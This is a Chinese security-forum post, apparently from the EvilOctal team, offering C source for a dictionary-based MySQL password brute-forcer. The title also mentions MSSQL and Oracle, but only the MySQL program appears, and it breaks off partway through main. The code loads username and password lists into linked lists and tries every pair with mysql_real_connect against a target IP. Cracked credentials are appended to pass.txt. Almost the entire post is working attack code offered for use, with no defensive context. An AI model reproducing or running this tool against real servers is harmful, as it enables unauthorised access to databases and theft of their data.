[原创]用链表实现的MYSQL、MSSQL和oracle密码暴破C程序

议题作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
Code Language : C
  1. /*程序一:用链表实现的MYSQL密码暴破程序,参考了[email]zhouzhen@gmail.com[/email]的程序,进行了一些修改*/
  2. #define WIN32_LEAN_AND_MEAN
  3. #if defined(_WIN32) || defined(_WIN64)
  4. #include <windows.h>
  5. #include <Tchar.h>
  6. #endif
  7. #include <winsock2.h>  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include \"F:\pt007\f\database\mysql\mysql_pwd_crack\include\mysql.h\"
  11. #include <stdlib.h>
  12.  
  13. //链接到WS2_32.LIB库:
  14. #pragma comment(lib, \"Ws2_32.lib\")
  15. #pragma comment(lib, \"libmySQL.lib\")
  16.  
  17. //定义链表:
  18. typedef struct PassNode{
  19.   TCHAR password[100];
  20.   struct PassNode * Next;
  21. } PassInfo;
  22.  
  23. typedef struct NameNode{
  24.   TCHAR Name[100];
  25.   struct NameNode * Next;
  26. }NameInfo;
  27.  
  28.  
  29. void usage(){
  30.  
  31.   printf(\"mysql password crack v 1.0\n\");
  32.  printf(\"\t author:zhouzhen@gmail.com and [email]pt007@vip.sina.com[/email]\n\n\");
  33.  fprintf(stdout,\"usage : mysql_pwd_crack [ip] [options]\n\");
  34.  printf(\"options:\n\"
  35.         \"\t-u username specify the username of mysql\n\"
  36.         \"\t-x port   specify the port of mysql\n\"
  37.         \"\t-p password specify the password of mysql\n\"
  38.         \"\t-d dict   specify the dictionary\n\"
  39.         \"\t-a automode automatic crack the mysql password \n\"
  40.         \"\tNote: when u use the -a option, named the username dict user.dic\n\"
  41.         \"\t  password dict pass.dic\n\"
  42.     );
  43.  printf(\"\nexample: mysql_pwd_crack 127.0.0.1 -x 3306 -u sql_user.dic -d pass.dic\n\");
  44.  printf(\"\t mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.dic\n\");
  45.  printf(\"\t mysql_pwd_crack 127.0.0.1 -x 3306 -a\n\");    
  46.  exit(1);
  47.  
  48. }
  49.  
  50. PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){
  51.  
  52.   /* read data from password dictionary, init the link */
  53.   TCHAR * szTempPass = NULL;
  54.   PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
  55.                *s point to the current node*/
  56.   int i; /* counter*/
  57.  
  58.  
  59.   if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL )
  60.   {
  61.     fprintf(stderr, \"malloc failed %d\", GetLastError());
  62.     exit(0);
  63.   } /* create the head node */
  64.  
  65.   /* init the head node*/
  66.   h->Next = NULL;
  67.   p = h;
  68.  
  69.   for ( i=0; i < NodeNum; i ++)
  70.   {
  71.     szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
  72.     ZeroMemory(szTempPass, 100);
  73.  
  74.      if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
  75.      {
  76.       fprintf(stderr, \"malloc failed %d\", GetLastError());
  77.       exit(0);
  78.      }
  79.      
  80.      memset(s->password, '\0', 100);
  81.      fgets(szTempPass, 100, DictFile);
  82.      strncpy(s->password, szTempPass, strlen(szTempPass)-1);
  83.      s->Next =NULL;
  84.      p->Next = s;
  85.      p = s;
  86.  
  87.     free(szTempPass);
  88.  
  89.   }
  90.  
  91.   return h;
  92.  
  93. }
  94.  
  95. NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){
  96.  
  97.   /* read data from password dictionary, init the link */
  98.   TCHAR * szTempName = NULL;
  99.   NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
  100.                *s point to the current node*/
  101.   int i; /* counter*/
  102.  
  103.  
  104.   if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
  105.   {
  106.     fprintf(stderr, \"malloc failed %d\", GetLastError());
  107.     exit(0);
  108.   } /* create the head node */
  109.  
  110.   /* init the head node*/
  111.   h->Next = NULL;
  112.   p = h;
  113.  
  114.   for ( i=0; i < NodeNum; i ++)
  115.   {
  116.     szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
  117.     ZeroMemory(szTempName, 100);
  118.  
  119.      if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
  120.      {
  121.       fprintf(stderr, \"malloc failed %d\", GetLastError());
  122.       exit(0);
  123.      }
  124.      
  125.      memset(s->Name, '\0', 100);
  126.      fgets(szTempName, 100, DictFile);
  127.      strncpy(s->Name, szTempName, strlen(szTempName)-1);
  128.      s->Next =NULL;
  129.      p->Next = s;
  130.      p = s;
  131.  
  132.     free(szTempName);
  133.  
  134.   }
  135.  
  136.   return h;
  137.  
  138. }
  139.  
  140.  
  141. int LineCount(FILE * fd) //返回字典中的密码数量
  142. {
  143.  int countline = 0;
  144.  char data[100] = {0};//字符数组清0
  145.  
  146.  while (fgets(data, 100, fd))//从指定的文件中读一个字符串到字符数组中
  147.    countline++;
  148.  
  149.  rewind(fd);//指针返回到文件起始处
  150.  
  151.  return countline;
  152.  
  153. }
  154.  
  155. BOOL IsPortOpen(char * address, int port)
  156. {
  157.  int recv = 1;
  158.  WSADATA wsadata;
  159.  int fd;
  160.  struct sockaddr_in clientaddress;
  161.  struct hostent * host1;
  162.  BOOL Result = FALSE;
  163.  struct timeval timer4;
  164.  fd_set writefd; //检查数据是否可写
  165.  ULONG value = 1;
  166.  //初使化winsock版本1.1:
  167.  recv = WSAStartup(MAKEWORD(1,1), &wsadata);
  168.  
  169.  if(recv != 0)
  170.  {
  171.    printf(\"init failed %d.\n\",WSAGetLastError());
  172.    return(0);
  173.  }
  174.  
  175.  if ( LOBYTE( wsadata.wVersion ) != 1 ||
  176.    HIBYTE( wsadata.wVersion ) != 1 ) {
  177.  /* Tell the user that we couldn't find a useable */
  178.  /* winsock.dll. */
  179.    WSACleanup();
  180.    return(0);
  181.  }
  182.  //创建socket套接字连接:
  183.  fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  184.  if(fd < 0)
  185.   {
  186.    
  187.      printf(\"[-] Create socket error %d. \n\",WSAGetLastError());
  188.      return(0);
  189.   }
  190.  //将套接字fd设为非阻塞模式的方法:
  191.  ioctlsocket(fd,FIONBIO,&value);
  192.  
  193.  if (!(host1 = gethostbyname(address))){
  194.    printf(\"[-] Gethostbyname(%s) error %d.\n\",address,WSAGetLastError());
  195.    return(0);
  196.  }
  197.  
  198.  memset(&clientaddress, 0, sizeof(struct sockaddr));
  199.  clientaddress.sin_family =AF_INET;//Ipv4地址族
  200.  clientaddress.sin_port = htons((unsigned short)port);
  201.  clientaddress.sin_addr = *((struct in_addr *)host1->h_addr);
  202.  
  203.  timer4.tv_sec = 5;//以秒为单位指定等待时间
  204.  timer4.tv_usec = 0;
  205.  
  206.  FD_ZERO(&writefd);
  207.  FD_SET(fd,&writefd); //将套接字fd增添到writefd写集合中进行测试
  208.  
  209.  recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr));
  210.  
  211.  if( FD_ISSET(fd, &writefd))
  212.  {
  213.    recv = select(fd+1, NULL, &writefd, NULL, &timer4);//测试5秒钟内是否有数据写入
  214.  
  215.    if( recv > 0 )
  216.      Result = TRUE;
  217.  }
  218.  
  219.  closesocket(fd);
  220.  WSACleanup();
  221.  
  222.  return Result;
  223.  
  224. }
  225.  
  226.  
  227. int main(int argc, char **argv)
  228. {
  229.  
  230. MYSQL *sock,mysql;//定义MYSQL结构
  231. PassInfo * head, * curr = NULL;
  232. NameInfo * headnode, * currnode = NULL;
  233. int namecount = 0, passcount = 0;
  234.  
  235. /////////////////////////////////////////////////////////////////////////////////////////////
  236. // deal with the command line
  237. //
  238. /////////////////////////////////////////////////////////////////////////////////////////////
  239. if( argc != 5) //参数不为5或8个的时候打印帮助
  240.   if(argc != 8)
  241.     usage();
  242.  
  243. if (argc == 8)
  244. {
  245.   if ( strcmpi(argv[2], \"-x\") )
  246.     usage();
  247.  
  248.   if ( strcmpi(argv[4], \"-u\") )
  249.     if ( strcmpi(argv[4], \"-p\") )
  250.       usage();
  251.  
  252.   if ( !strcmpi(argv[4], \"-u\") )
  253.     if ( strcmpi(argv[6], \"-d\") )
  254.       usage();
  255.  
  256.   if ( !strcmpi(argv[4], \"-p\") )
  257.     if ( strcmpi(argv[6], \"-d\") )
  258.       usage();
  259. }
  260.  
  261. if (argc == 5)
  262. {
  263.   if ( strcmpi(argv[2], \"-x\") )
  264.     usage();
  265.   if ( strcmpi(argv[4], \"-a\") )
  266.     usage();
  267. }
  268.  
  269. /* determinate whether the mysql port is open */
  270. if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
  271. {
  272.   printf(\"error:Can't connect to %s:%d\n\", argv[1], atoi(argv[3]));
  273.   exit(0);
  274. }
  275.  
  276.  
  277. ////////////////////////////////////////////////////////////////////////////////////////////
  278. // specifiy the username
  279. //////////////////////////////////////////////////////////////////////////////////////////////
  280.  
  281. mysql_init(&mysql);  /* init the mysql */
  282.  
  283. if ( !strcmpi(argv[4], \"-u\"))
  284. {
  285.   /* open the password dictionary */
  286.  
  287.   FILE * passdic = NULL;
  288.   if ( (passdic = fopen(argv[7], \"r\")) ==NULL){
  289.     fprintf(stdout, \"Can't open the password dictionary\n\");
  290.     exit(0);
  291.   }
  292.    
  293.  
  294.  
  295.   /* count line of name dictionary */
  296.  
  297.   passcount = LineCount(passdic); //计算密码的数量
  298.  
  299.  
  300.   head = Create_Pass_link(passcount, passdic); /* create the password link */
  301.  
  302.    curr = head ->Next;
  303.  
  304.    /* open the password dictionary */
  305.  
  306.   FILE * Namedict = NULL;
  307.   if ( (Namedict = fopen(argv[5], \"r\")) ==NULL){
  308.     fprintf(stderr, \"Can't open the name dictionary\n\");
  309.     exit(0);
  310.   }
  311.   /*密码最终保存文件*/
  312.  FILE *passtxt=NULL;
  313.   if ( (passtxt = fopen(\"pass.txt\", \"at+\")) ==NULL){
  314.     fprintf(stdout, \"Can't write pass.txt file!\n\");
  315.     exit(0);
  316.   }
  317.  
  318.   /* count line of name dictionary */
  319.  
  320.   namecount = LineCount(Namedict);//计算用户名数量
  321.   headnode = Create_Name_link(namecount, Namedict); /* create user link */
  322.   currnode = headnode->Next;
  323.  
  324.   int j=0,i=1;
  325.   while(currnode!=NULL)
  326.   {
  327.     printf(\"\n开始第%d位用户%s测试:\n\",++j,currnode->Name);
  328.   while(curr != NULL)
  329.   {
  330.     printf(\"Now cracking %s %s   \n\", currnode->Name, curr->password);
  331.     fflush(NULL);
  332.  
  333.     if ( sock = mysql_real_connect(&mysql, argv[1], currnode->Name, curr->password, \"mysql\", atoi(argv[3]), NULL, 0) )
  334.     {  
  335.       printf(\"%d.Successfully:Mysql server %s's username [%s] password [%s]\n\",j,argv[1],currnode->Name, curr->password);
  336.       fseek(passtxt, 0L, SEEK_END);//移动到文件尾部
  337.       fprintf(passtxt,\"%d.Successfully:Mysql server %s's username [%s] password [%s]\r\n\",i++,argv[1],currnode->Name, curr->password);
  338.       //exit(0);发现一个密码就退出
  339.       break;
  340.     }
  341.     curr = curr->Next;
  342.     Sleep(100);
  343.  
  344.   } /* starting crack the mysql password*/
  345.   currnode = currnode->Next;
  346.   curr = head ->Next;
  347.   }
  348.   printf(\"\n\n密码猜解结束:\n本次共猜解了%d位用户,%d个密码!\n\",namecount,passcount);
  349.   printf(\"请使用\\"type pass.txt\\"来查看当前目录下的pass.txt文件!\n\");